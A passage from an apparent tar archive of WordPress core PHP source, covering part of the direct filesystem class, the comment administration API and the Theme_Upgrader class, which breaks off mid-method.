	 * @param int|false $mode      Optional. The permissions as octal number, usually 0644 for files,
	 *                             0755 for directories. Default false.
	 * @param bool      $recursive Optional. If set to true, changes file permissions recursively.
	 *                             Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chmod( $file, $mode = false, $recursive = false ) {
		if ( ! $mode ) {
			if ( $this->is_file( $file ) ) {
				$mode = FS_CHMOD_FILE;
			} elseif ( $this->is_dir( $file ) ) {
				$mode = FS_CHMOD_DIR;
			} else {
				return false;
			}
		}

		if ( ! $recursive || ! $this->is_dir( $file ) ) {
			return chmod( $file, $mode );
		}

		// Is a directory, and we want recursive.
		$file     = trailingslashit( $file );
		$filelist = $this->dirlist( $file );

		foreach ( (array) $filelist as $filename => $filemeta ) {
			$this->chmod( $file . $filename, $mode, $recursive );
		}

		return true;
	}

	/**
	 * Changes the owner of a file or directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string     $file      Path to the file or directory.
	 * @param string|int $owner     A user name or number.
	 * @param bool       $recursive Optional. If set to true, changes file owner recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chown( $file, $owner, $recursive = false ) {
		if ( ! $this->exists( $file ) ) {
			return false;
		}

		if ( ! $recursive ) {
			return chown( $file, $owner );
		}

		if ( ! $this->is_dir( $file ) ) {
			return chown( $file, $owner );
		}

		// Is a directory, and we want recursive.
		$filelist = $this->dirlist( $file );

		foreach ( $filelist as $filename ) {
			$this->chown( $file . '/' . $filename, $owner, $recursive );
		}

		return true;
	}

	/**
	 * Gets the file owner.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false Username of the owner on success, false on failure.
	 */
	public function owner( $file ) {
		$owneruid = @fileowner( $file );

		if ( ! $owneruid ) {
			return false;
		}

		if ( ! function_exists( 'posix_getpwuid' ) ) {
			return $owneruid;
		}

		$ownerarray = posix_getpwuid( $owneruid );

		if ( ! $ownerarray ) {
			return false;
		}

		return $ownerarray['name'];
	}

	/**
	 * Gets the permissions of the specified file or filepath in their octal format.
	 *
	 * FIXME does not handle errors in fileperms()
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string Mode of the file (the last 3 digits).
	 */
	public function getchmod( $file ) {
		return substr( decoct( @fileperms( $file ) ), -3 );
	}

	/**
	 * Gets the file's group.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false The group on success, false on failure.
	 */
	public function group( $file ) {
		$gid = @filegroup( $file );

		if ( ! $gid ) {
			return false;
		}

		if ( ! function_exists( 'posix_getgrgid' ) ) {
			return $gid;
		}

		$grouparray = posix_getgrgid( $gid );

		if ( ! $grouparray ) {
			return false;
		}

		return $grouparray['name'];
	}

	/**
	 * Copies a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $source      Path to the source file.
	 * @param string    $destination Path to the destination file.
	 * @param bool      $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                               Default false.
	 * @param int|false $mode        Optional. The permissions as octal number, usually 0644 for files,
	 *                               0755 for dirs. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function copy( $source, $destination, $overwrite = false, $mode = false ) {
		if ( ! $overwrite && $this->exists( $destination ) ) {
			return false;
		}

		$rtval = copy( $source, $destination );

		if ( $mode ) {
			$this->chmod( $destination, $mode );
		}

		return $rtval;
	}

	/**
	 * Moves a file or directory.
	 *
	 * After moving files or directories, OPcache will need to be invalidated.
	 *
	 * If moving a directory fails, `copy_dir()` can be used for a recursive copy.
	 *
	 * Use `move_dir()` for moving directories with OPcache invalidation and a
	 * fallback to `copy_dir()`.
	 *
	 * @since 2.5.0
	 *
	 * @param string $source      Path to the source file.
	 * @param string $destination Path to the destination file.
	 * @param bool   $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function move( $source, $destination, $overwrite = false ) {
		if ( ! $overwrite && $this->exists( $destination ) ) {
			return false;
		}

		if ( $overwrite && $this->exists( $destination ) && ! $this->delete( $destination, true ) ) {
			// Can't overwrite if the destination couldn't be deleted.
			return false;
		}

		// Try using rename first. if that fails (for example, source is read only) try copy.
		if ( @rename( $source, $destination ) ) {
			return true;
		}

		// Backward compatibility: Only fall back to `::copy()` for single files.
		if ( $this->is_file( $source ) && $this->copy( $source, $destination, $overwrite ) && $this->exists( $destination ) ) {
			$this->delete( $source );

			return true;
		} else {
			return false;
		}
	}

	/**
	 * Deletes a file or directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string       $file      Path to the file or directory.
	 * @param bool         $recursive Optional. If set to true, deletes files and folders recursively.
	 *                                Default false.
	 * @param string|false $type      Type of resource. 'f' for file, 'd' for directory.
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function delete( $file, $recursive = false, $type = false ) {
		if ( empty( $file ) ) {
			// Some filesystems report this as /, which can cause non-expected recursive deletion of all files in the filesystem.
			return false;
		}

		$file = str_replace( '\\', '/', $file ); // For Win32, occasional problems deleting files otherwise.

		if ( 'f' === $type || $this->is_file( $file ) ) {
			return @unlink( $file );
		}

		if ( ! $recursive && $this->is_dir( $file ) ) {
			return @rmdir( $file );
		}

		// At this point it's a folder, and we're in recursive mode.
		$file     = trailingslashit( $file );
		$filelist = $this->dirlist( $file, true );

		$retval = true;

		if ( is_array( $filelist ) ) {
			foreach ( $filelist as $filename => $fileinfo ) {
				if ( ! $this->delete( $file . $filename, $recursive, $fileinfo['type'] ) ) {
					$retval = false;
				}
			}
		}

		if ( file_exists( $file ) && ! @rmdir( $file ) ) {
			$retval = false;
		}

		return $retval;
	}

	/**
	 * Checks if a file or directory exists.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path exists or not.
	 */
	public function exists( $path ) {
		return @file_exists( $path );
	}

	/**
	 * Checks if resource is a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file File path.
	 * @return bool Whether $file is a file.
	 */
	public function is_file( $file ) {
		return @is_file( $file );
	}

	/**
	 * Checks if resource is a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path Directory path.
	 * @return bool Whether $path is a directory.
	 */
	public function is_dir( $path ) {
		return @is_dir( $path );
	}

	/**
	 * Checks if a file is readable.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return bool Whether $file is readable.
	 */
	public function is_readable( $file ) {
		return @is_readable( $file );
	}

	/**
	 * Checks if a file or directory is writable.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path is writable.
	 */
	public function is_writable( $path ) {
		return @is_writable( $path );
	}

	/**
	 * Gets the file's last access time.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing last access time, false on failure.
	 */
	public function atime( $file ) {
		return @fileatime( $file );
	}

	/**
	 * Gets the file modification time.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing modification time, false on failure.
	 */
	public function mtime( $file ) {
		return @filemtime( $file );
	}

	/**
	 * Gets the file size (in bytes).
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Size of the file in bytes on success, false on failure.
	 */
	public function size( $file ) {
		return @filesize( $file );
	}

	/**
	 * Sets the access and modification times of a file.
	 *
	 * Note: If $file doesn't exist, it will be created.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file  Path to file.
	 * @param int    $time  Optional. Modified time to set for file.
	 *                      Default 0.
	 * @param int    $atime Optional. Access time to set for file.
	 *                      Default 0.
	 * @return bool True on success, false on failure.
	 */
	public function touch( $file, $time = 0, $atime = 0 ) {
		if ( 0 === $time ) {
			$time = time();
		}

		if ( 0 === $atime ) {
			$atime = time();
		}

		return touch( $file, $time, $atime );
	}

	/**
	 * Creates a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string           $path  Path for new directory.
	 * @param int|false        $chmod Optional. The permissions as octal number (or false to skip chmod).
	 *                                Default false.
	 * @param string|int|false $chown Optional. A user name or number (or false to skip chown).
	 *                                Default false.
	 * @param string|int|false $chgrp Optional. A group name or number (or false to skip chgrp).
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) {
		// Safe mode fails with a trailing slash under certain PHP versions.
		$path = untrailingslashit( $path );

		if ( empty( $path ) ) {
			return false;
		}

		if ( ! $chmod ) {
			$chmod = FS_CHMOD_DIR;
		}

		if ( ! @mkdir( $path ) ) {
			return false;
		}

		$this->chmod( $path, $chmod );

		if ( $chown ) {
			$this->chown( $path, $chown );
		}

		if ( $chgrp ) {
			$this->chgrp( $path, $chgrp );
		}

		return true;
	}

	/**
	 * Deletes a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path      Path to directory.
	 * @param bool   $recursive Optional. Whether to recursively remove files/directories.
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function rmdir( $path, $recursive = false ) {
		return $this->delete( $path, $recursive );
	}

	/**
	 * Gets details for files in a directory or a specific file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path           Path to directory or file.
	 * @param bool   $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
	 *                               Default true.
	 * @param bool   $recursive      Optional. Whether to recursively include file details in nested directories.
	 *                               Default false.
	 * @return array|false {
	 *     Array of arrays containing file information. False if unable to list directory contents.
	 *
	 *     @type array $0... {
	 *         Array of file information. Note that some elements may not be available on all filesystems.
	 *
	 *         @type string           $name        Name of the file or directory.
	 *         @type string           $perms       *nix representation of permissions.
	 *         @type string           $permsn      Octal representation of permissions.
	 *         @type false            $number      File number. Always false in this context.
	 *         @type string|false     $owner       Owner name or ID, or false if not available.
	 *         @type string|false     $group       File permissions group, or false if not available.
	 *         @type int|string|false $size        Size of file in bytes. May be a numeric string.
	 *                                             False if not available.
	 *         @type int|string|false $lastmodunix Last modified unix timestamp. May be a numeric string.
	 *                                             False if not available.
	 *         @type string|false     $lastmod     Last modified month (3 letters) and day (without leading 0), or
	 *                                             false if not available.
	 *         @type string|false     $time        Last modified time, or false if not available.
	 *         @type string           $type        Type of resource. 'f' for file, 'd' for directory, 'l' for link.
	 *         @type array|false      $files       If a directory and `$recursive` is true, contains another array of
	 *                                             files. False if unable to list directory contents.
	 *     }
	 * }
	 */
	public function dirlist( $path, $include_hidden = true, $recursive = false ) {
		if ( $this->is_file( $path ) ) {
			$limit_file = basename( $path );
			$path       = dirname( $path );
		} else {
			$limit_file = false;
		}

		if ( ! $this->is_dir( $path ) || ! $this->is_readable( $path ) ) {
			return false;
		}

		$dir = dir( $path );

		if ( ! $dir ) {
			return false;
		}

		$path = trailingslashit( $path );
		$ret  = array();

		while ( false !== ( $entry = $dir->read() ) ) {
			$struc         = array();
			$struc['name'] = $entry;

			if ( '.' === $struc['name'] || '..' === $struc['name'] ) {
				continue;
			}

			if ( ! $include_hidden && '.' === $struc['name'][0] ) {
				continue;
			}

			if ( $limit_file && $struc['name'] !== $limit_file ) {
				continue;
			}

			$struc['perms']       = $this->gethchmod( $path . $entry );
			$struc['permsn']      = $this->getnumchmodfromh( $struc['perms'] );
			$struc['number']      = false;
			$struc['owner']       = $this->owner( $path . $entry );
			$struc['group']       = $this->group( $path . $entry );
			$struc['size']        = $this->size( $path . $entry );
			$struc['lastmodunix'] = $this->mtime( $path . $entry );
			$struc['lastmod']     = gmdate( 'M j', $struc['lastmodunix'] );
			$struc['time']        = gmdate( 'h:i:s', $struc['lastmodunix'] );
			$struc['type']        = $this->is_dir( $path . $entry ) ? 'd' : 'f';

			if ( 'd' === $struc['type'] ) {
				if ( $recursive ) {
					$struc['files'] = $this->dirlist( $path . $struc['name'], $include_hidden, $recursive );
				} else {
					$struc['files'] = array();
				}
			}

			$ret[ $struc['name'] ] = $struc;
		}

		$dir->close();
		unset( $dir );

		return $ret;
	}
}
comment.php000064400000013751150275632050006733 0ustar00<?php
/**
 * WordPress Comment Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 2.3.0
 */

/**
 * Determines if a comment exists based on author and date.
 *
 * For best performance, use `$timezone = 'gmt'`, which queries a field that is properly indexed. The default value
 * for `$timezone` is 'blog' for legacy reasons.
 *
 * @since 2.0.0
 * @since 4.4.0 Added the `$timezone` parameter.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $comment_author Author of the comment.
 * @param string $comment_date   Date of the comment.
 * @param string $timezone       Timezone. Accepts 'blog' or 'gmt'. Default 'blog'.
 * @return string|null Comment post ID on success.
 */
function comment_exists( $comment_author, $comment_date, $timezone = 'blog' ) {
	global $wpdb;

	$date_field = 'comment_date';
	if ( 'gmt' === $timezone ) {
		$date_field = 'comment_date_gmt';
	}

	return $wpdb->get_var(
		$wpdb->prepare(
			"SELECT comment_post_ID FROM $wpdb->comments
			WHERE comment_author = %s AND $date_field = %s",
			stripslashes( $comment_author ),
			stripslashes( $comment_date )
		)
	);
}

/**
 * Updates a comment with values provided in $_POST.
 *
 * @since 2.0.0
 * @since 5.5.0 A return value was added.
 *
 * @return int|WP_Error The value 1 if the comment was updated, 0 if not updated.
 *                      A WP_Error object on failure.
 */
function edit_comment() {
	if ( ! current_user_can( 'edit_comment', (int) $_POST['comment_ID'] ) ) {
		wp_die( __( 'Sorry, you are not allowed to edit comments on this post.' ) );
	}

	if ( isset( $_POST['newcomment_author'] ) ) {
		$_POST['comment_author'] = $_POST['newcomment_author'];
	}
	if ( isset( $_POST['newcomment_author_email'] ) ) {
		$_POST['comment_author_email'] = $_POST['newcomment_author_email'];
	}
	if ( isset( $_POST['newcomment_author_url'] ) ) {
		$_POST['comment_author_url'] = $_POST['newcomment_author_url'];
	}
	if ( isset( $_POST['comment_status'] ) ) {
		$_POST['comment_approved'] = $_POST['comment_status'];
	}
	if ( isset( $_POST['content'] ) ) {
		$_POST['comment_content'] = $_POST['content'];
	}
	if ( isset( $_POST['comment_ID'] ) ) {
		$_POST['comment_ID'] = (int) $_POST['comment_ID'];
	}

	foreach ( array( 'aa', 'mm', 'jj', 'hh', 'mn' ) as $timeunit ) {
		if ( ! empty( $_POST[ 'hidden_' . $timeunit ] ) && $_POST[ 'hidden_' . $timeunit ] !== $_POST[ $timeunit ] ) {
			$_POST['edit_date'] = '1';
			break;
		}
	}

	if ( ! empty( $_POST['edit_date'] ) ) {
		$aa = $_POST['aa'];
		$mm = $_POST['mm'];
		$jj = $_POST['jj'];
		$hh = $_POST['hh'];
		$mn = $_POST['mn'];
		$ss = $_POST['ss'];
		$jj = ( $jj > 31 ) ? 31 : $jj;
		$hh = ( $hh > 23 ) ? $hh - 24 : $hh;
		$mn = ( $mn > 59 ) ? $mn - 60 : $mn;
		$ss = ( $ss > 59 ) ? $ss - 60 : $ss;

		$_POST['comment_date'] = "$aa-$mm-$jj $hh:$mn:$ss";
	}

	return wp_update_comment( $_POST, true );
}

/**
 * Returns a WP_Comment object based on comment ID.
 *
 * @since 2.0.0
 *
 * @param int $id ID of comment to retrieve.
 * @return WP_Comment|false Comment if found. False on failure.
 */
function get_comment_to_edit( $id ) {
	$comment = get_comment( $id );
	if ( ! $comment ) {
		return false;
	}

	$comment->comment_ID      = (int) $comment->comment_ID;
	$comment->comment_post_ID = (int) $comment->comment_post_ID;

	$comment->comment_content = format_to_edit( $comment->comment_content );
	/**
	 * Filters the comment content before editing.
	 *
	 * @since 2.0.0
	 *
	 * @param string $comment_content Comment content.
	 */
	$comment->comment_content = apply_filters( 'comment_edit_pre', $comment->comment_content );

	$comment->comment_author       = format_to_edit( $comment->comment_author );
	$comment->comment_author_email = format_to_edit( $comment->comment_author_email );
	$comment->comment_author_url   = format_to_edit( $comment->comment_author_url );
	$comment->comment_author_url   = esc_url( $comment->comment_author_url );

	return $comment;
}

/**
 * Gets the number of pending comments on a post or posts.
 *
 * @since 2.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|int[] $post_id Either a single Post ID or an array of Post IDs
 * @return int|int[] Either a single Posts pending comments as an int or an array of ints keyed on the Post IDs
 */
function get_pending_comments_num( $post_id ) {
	global $wpdb;

	$single = false;
	if ( ! is_array( $post_id ) ) {
		$post_id_array = (array) $post_id;
		$single        = true;
	} else {
		$post_id_array = $post_id;
	}
	$post_id_array = array_map( 'intval', $post_id_array );
	$post_id_in    = "'" . implode( "', '", $post_id_array ) . "'";

	$pending = $wpdb->get_results( "SELECT comment_post_ID, COUNT(comment_ID) as num_comments FROM $wpdb->comments WHERE comment_post_ID IN ( $post_id_in ) AND comment_approved = '0' GROUP BY comment_post_ID", ARRAY_A );

	if ( $single ) {
		if ( empty( $pending ) ) {
			return 0;
		} else {
			return absint( $pending[0]['num_comments'] );
		}
	}

	$pending_keyed = array();

	// Default to zero pending for all posts in request.
	foreach ( $post_id_array as $id ) {
		$pending_keyed[ $id ] = 0;
	}

	if ( ! empty( $pending ) ) {
		foreach ( $pending as $pend ) {
			$pending_keyed[ $pend['comment_post_ID'] ] = absint( $pend['num_comments'] );
		}
	}

	return $pending_keyed;
}

/**
 * Adds avatars to relevant places in admin.
 *
 * @since 2.5.0
 *
 * @param string $name User name.
 * @return string Avatar with the user name.
 */
function floated_admin_avatar( $name ) {
	$avatar = get_avatar( get_comment(), 32, 'mystery' );
	return "$avatar $name";
}

/**
 * Enqueues comment shortcuts jQuery script.
 *
 * @since 2.7.0
 */
function enqueue_comment_hotkeys_js() {
	if ( 'true' === get_user_option( 'comment_shortcuts' ) ) {
		wp_enqueue_script( 'jquery-table-hotkeys' );
	}
}

/**
 * Displays error message at bottom of comments.
 *
 * @param string $msg Error Message. Assumed to contain HTML and be sanitized.
 */
function comment_footer_die( $msg ) {
	echo "<div class='wrap'><p>$msg</p></div>";
	require_once ABSPATH . 'wp-admin/admin-footer.php';
	die;
}
class-theme-upgrader.php000064400000061545150275632050011311 0ustar00<?php
/**
 * Upgrade API: Theme_Upgrader class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for upgrading/installing themes.
 *
 * It is designed to upgrade/install themes from a local zip, remote zip URL,
 * or uploaded zip file.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 *
 * @see WP_Upgrader
 */
class Theme_Upgrader extends WP_Upgrader {

	/**
	 * Result of the theme upgrade offer.
	 *
	 * @since 2.8.0
	 * @var array|WP_Error $result
	 * @see WP_Upgrader::$result
	 */
	public $result;

	/**
	 * Whether multiple themes are being upgraded/installed in bulk.
	 *
	 * @since 2.9.0
	 * @var bool $bulk
	 */
	public $bulk = false;

	/**
	 * New theme info.
	 *
	 * @since 5.5.0
	 * @var array $new_theme_data
	 *
	 * @see check_package()
	 */
	public $new_theme_data = array();

	/**
	 * Initializes the upgrade strings.
	 *
	 * @since 2.8.0
	 */
	public function upgrade_strings() {
		$this->strings['up_to_date'] = __( 'The theme is at the latest version.' );
		$this->strings['no_package'] = __( 'Update package not available.' );
		/* translators: %s: Package URL. */
		$this->strings['downloading_package'] = sprintf( __( 'Downloading update from %s&#8230;' ), '<span class="code pre">%s</span>' );
		$this->strings['unpack_package']      = __( 'Unpacking the update&#8230;' );
		$this->strings['remove_old']          = __( 'Removing the old version of the theme&#8230;' );
		$this->strings['remove_old_failed']   = __( 'Could not remove the old theme.' );
		$this->strings['process_failed']      = __( 'Theme update failed.' );
		$this->strings['process_success']     = __( 'Theme updated successfully.' );
	}

	/**
	 * Initializes the installation strings.
	 *
	 * @since 2.8.0
	 */
	public function install_strings() {
		$this->strings['no_package'] = __( 'Installation package not available.' );
		/* translators: %s: Package URL. */
		$this->strings['downloading_package'] = sprintf( __( 'Downloading installation package from %s&#8230;' ), '<span class="code pre">%s</span>' );
		$this->strings['unpack_package']      = __( 'Unpacking the package&#8230;' );
		$this->strings['installing_package']  = __( 'Installing the theme&#8230;' );
		$this->strings['remove_old']          = __( 'Removing the old version of the theme&#8230;' );
		$this->strings['remove_old_failed']   = __( 'Could not remove the old theme.' );
		$this->strings['no_files']            = __( 'The theme contains no files.' );
		$this->strings['process_failed']      = __( 'Theme installation failed.' );
		$this->strings['process_success']     = __( 'Theme installed successfully.' );
		/* translators: 1: Theme name, 2: Theme version. */
		$this->strings['process_success_specific'] = __( 'Successfully installed the theme <strong>%1$s %2$s</strong>.' );
		$this->strings['parent_theme_search']      = __( 'This theme requires a parent theme. Checking if it is installed&#8230;' );
		/* translators: 1: Theme name, 2: Theme version. */
		$this->strings['parent_theme_prepare_install'] = __( 'Preparing to install <strong>%1$s %2$s</strong>&#8230;' );
		/* translators: 1: Theme name, 2: Theme version. */
		$this->strings['parent_theme_currently_installed'] = __( 'The parent theme, <strong>%1$s %2$s</strong>, is currently installed.' );
		/* translators: 1: Theme name, 2: Theme version. */
		$this->strings['parent_theme_install_success'] = __( 'Successfully installed the parent theme, <strong>%1$s %2$s</strong>.' );
		/* translators: %s: Theme name. */
		$this->strings['parent_theme_not_found'] = sprintf( __( '<strong>The parent theme could not be found.</strong> You will need to install the parent theme, %s, before you can use this child theme.' ), '<strong>%s</strong>' );
		/* translators: %s: Theme error. */
		$this->strings['current_theme_has_errors'] = __( 'The active theme has the following error: "%s".' );

		if ( ! empty( $this->skin->overwrite ) ) {
			if ( 'update-theme' === $this->skin->overwrite ) {
				$this->strings['installing_package'] = __( 'Updating the theme&#8230;' );
				$this->strings['process_failed']     = __( 'Theme update failed.' );
				$this->strings['process_success']    = __( 'Theme updated successfully.' );
			}

			if ( 'downgrade-theme' === $this->skin->overwrite ) {
				$this->strings['installing_package'] = __( 'Downgrading the theme&#8230;' );
				$this->strings['process_failed']     = __( 'Theme downgrade failed.' );
				$this->strings['process_success']    = __( 'Theme downgraded successfully.' );
			}
		}
	}

	/**
	 * Checks if a child theme is being installed and its parent also needs to be installed.
	 *
	 * Hooked to the {@see 'upgrader_post_install'} filter by Theme_Upgrader::install().
	 *
	 * @since 3.4.0
	 *
	 * @param bool  $install_result
	 * @param array $hook_extra
	 * @param array $child_result
	 * @return bool
	 */
	public function check_parent_theme_filter( $install_result, $hook_extra, $child_result ) {
		// Check to see if we need to install a parent theme.
		$theme_info = $this->theme_info();

		if ( ! $theme_info->parent() ) {
			return $install_result;
		}

		$this->skin->feedback( 'parent_theme_search' );

		if ( ! $theme_info->parent()->errors() ) {
			$this->skin->feedback( 'parent_theme_currently_installed', $theme_info->parent()->display( 'Name' ), $theme_info->parent()->display( 'Version' ) );
			// We already have the theme, fall through.
			return $install_result;
		}

		// We don't have the parent theme, let's install it.
		$api = themes_api(
			'theme_information',
			array(
				'slug'   => $theme_info->get( 'Template' ),
				'fields' => array(
					'sections' => false,
					'tags'     => false,
				),
			)
		); // Save on a bit of bandwidth.

		if ( ! $api || is_wp_error( $api ) ) {
			$this->skin->feedback( 'parent_theme_not_found', $theme_info->get( 'Template' ) );
			// Don't show activate or preview actions after installation.
			add_filter( 'install_theme_complete_actions', array( $this, 'hide_activate_preview_actions' ) );
			return $install_result;
		}

		// Backup required data we're going to override:
		$child_api             = $this->skin->api;
		$child_success_message = $this->strings['process_success'];

		// Override them.
		$this->skin->api = $api;

		$this->strings['process_success_specific'] = $this->strings['parent_theme_install_success'];

		$this->skin->feedback( 'parent_theme_prepare_install', $api->name, $api->version );

		add_filter( 'install_theme_complete_actions', '__return_false', 999 ); // Don't show any actions after installing the theme.

		// Install the parent theme.
		$parent_result = $this->run(
			array(
				'package'           => $api->download_link,
				'destination'       => get_theme_root(),
				'clear_destination' => false, // Do not overwrite files.
				'clear_working'     => true,
			)
		);

		if ( is_wp_error( $parent_result ) ) {
			add_filter( 'install_theme_complete_actions', array( $this, 'hide_activate_preview_actions' ) );
		}

		// Start cleaning up after the parent's installation.
		remove_filter( 'install_theme_complete_actions', '__return_false', 999 );

		// Reset child's result and data.
		$this->result                     = $child_result;
		$this->skin->api                  = $child_api;
		$this->strings['process_success'] = $child_success_message;

		return $install_result;
	}

	/**
	 * Don't display the activate and preview actions to the user.
	 *
	 * Hooked to the {@see 'install_theme_complete_actions'} filter by
	 * Theme_Upgrader::check_parent_theme_filter() when installing
	 * a child theme and installing the parent theme fails.
	 *
	 * @since 3.4.0
	 *
	 * @param array $actions Preview actions.
	 * @return array
	 */
	public function hide_activate_preview_actions( $actions ) {
		unset( $actions['activate'], $actions['preview'] );
		return $actions;
	}

	/**
	 * Install a theme package.
	 *
	 * @since 2.8.0
	 * @since 3.7.0 The `$args` parameter was added, making clearing the update cache optional.
	 *
	 * @param string $package The full local path or URI of the package.
	 * @param array  $args {
	 *     Optional. Other arguments for installing a theme package. Default empty array.
	 *
	 *     @type bool $clear_update_cache Whether to clear the updates cache if successful.
	 *                                    Default true.
	 * }
	 *
	 * @return bool|WP_Error True if the installation was successful, false or a WP_Error object otherwise.
	 */
	public function install( $package, $args = array() ) {
		$defaults    = array(
			'clear_update_cache' => true,
			'overwrite_package'  => false, // Do not overwrite files.
		);
		$parsed_args = wp_parse_args( $args, $defaults );

		$this->init();
		$this->install_strings();

		add_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );
		add_filter( 'upgrader_post_install', array( $this, 'check_parent_theme_filter' ), 10, 3 );

		if ( $parsed_args['clear_update_cache'] ) {
			// Clear cache so wp_update_themes() knows about the new theme.
			add_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9, 0 );
		}

		$this->run(
			array(
				'package'           => $package,
				'destination'       => get_theme_root(),
				'clear_destination' => $parsed_args['overwrite_package'],
				'clear_working'     => true,
				'hook_extra'        => array(
					'type'   => 'theme',
					'action' => 'install',
				),
			)
		);

		remove_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9 );
		remove_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );
		remove_filter( 'upgrader_post_install', array( $this, 'check_parent_theme_filter' ) );

		if ( ! $this->result || is_wp_error( $this->result ) ) {
			return $this->result;
		}

		// Refresh the Theme Update information.
		wp_clean_themes_cache( $parsed_args['clear_update_cache'] );

		if ( $parsed_args['overwrite_package'] ) {
			/** This action is documented in wp-admin/includes/class-plugin-upgrader.php */
			do_action( 'upgrader_overwrote_package', $package, $this->new_theme_data, 'theme' );
		}

		return true;
	}

	/**
	 * Upgrades a theme.
	 *
	 * @since 2.8.0
	 * @since 3.7.0 The `$args` parameter was added, making clearing the update cache optional.
	 *
	 * @param string $theme The theme slug.
	 * @param array  $args {
	 *     Optional. Other arguments for upgrading a theme. Default empty array.
	 *
	 *     @type bool $clear_update_cache Whether to clear the update cache if successful.
	 *                                    Default true.
	 * }
	 * @return bool|WP_Error True if the upgrade was successful, false or a WP_Error object otherwise.
	 */
	public function upgrade( $theme, $args = array() ) {
		$defaults    = array(
			'clear_update_cache' => true,
		);
		$parsed_args = wp_parse_args( $args, $defaults );

		$this->init();
		$this->upgrade_strings();

		// Is an update available?
		$current = get_site_transient( 'update_themes' );
		if ( ! isset( $current->response[ $theme ] ) ) {
			$this->skin->before();
			$this->skin->set_result( false );
			$this->skin->error( 'up_to_date' );
			$this->skin->after();
			return false;
		}

		$r = $current->response[ $theme ];

		add_filter( 'upgrader_pre_install', array( $this, 'current_before' ), 10, 2 );
		add_filter( 'upgrader_post_install', array( $this, 'current_after' ), 10, 2 );
		add_filter( 'upgrader_clear_destination', array( $this, 'delete_old_theme' ), 10, 4 );
		if ( $parsed_args['clear_update_cache'] ) {
			// Clear cache so wp_update_themes() knows about the new theme.
			add_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9, 0 );
		}

		$this->run(
			array(
				'package'           => $r['package'],
				'destination'       => get_theme_root( $theme ),
				'clear_destination' => true,
				'clear_working'     => true,
				'hook_extra'        => array(
					'theme'       => $theme,
					'type'        => 'theme',
					'action'      => 'update',
					'temp_backup' => array(
						'slug' => $theme,
						'src'  => get_theme_root( $theme ),
						'dir'  => 'themes',
					),
				),
			)
		);

		remove_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9 );
		remove_filter( 'upgrader_pre_install', array( $this, 'current_before' ) );
		remove_filter( 'upgrader_post_install', array( $this, 'current_after' ) );
		remove_filter( 'upgrader_clear_destination', array( $this, 'delete_old_theme' ) );

		if ( ! $this->result || is_wp_error( $this->result ) ) {
			return $this->result;
		}

		wp_clean_themes_cache( $parsed_args['clear_update_cache'] );

		/*
		 * Ensure any future auto-update failures trigger a failure email by removing
		 * the last failure notification from the list when themes update successfully.
		 */
		$past_failure_emails = get_option( 'auto_plugin_theme_update_emails', array() );

		if ( isset( $past_failure_emails[ $theme ] ) ) {
			unset( $past_failure_emails[ $theme ] );
			update_option( 'auto_plugin_theme_update_emails', $past_failure_emails );
		}

		return true;
	}

	/**
	 * Upgrades several themes at once.
	 *
	 * @since 3.0.0
	 * @since 3.7.0 The `$args` parameter was added, making clearing the update cache optional.
	 *
	 * @param string[] $themes Array of the theme slugs.
	 * @param array    $args {
	 *     Optional. Other arguments for upgrading several themes at once. Default empty array.
	 *
	 *     @type bool $clear_update_cache Whether to clear the update cache if successful.
	 *                                    Default true.
	 * }
	 * @return array[]|false An array of results, or false if unable to connect to the filesystem.
	 */
	public function bulk_upgrade( $themes, $args = array() ) {
		$defaults    = array(
			'clear_update_cache' => true,
		);
		$parsed_args = wp_parse_args( $args, $defaults );

		$this->init();
		$this->bulk = true;
		$this->upgrade_strings();

		$current = get_site_transient( 'update_themes' );

		add_filter( 'upgrader_pre_install', array( $this, 'current_before' ), 10, 2 );
		add_filter( 'upgrader_post_install', array( $this, 'current_after' ), 10, 2 );
		add_filter( 'upgrader_clear_destination', array( $this, 'delete_old_theme' ), 10, 4 );

		$this->skin->header();

		// Connect to the filesystem first.
		$res = $this->fs_connect( array( WP_CONTENT_DIR ) );
		if ( ! $res ) {
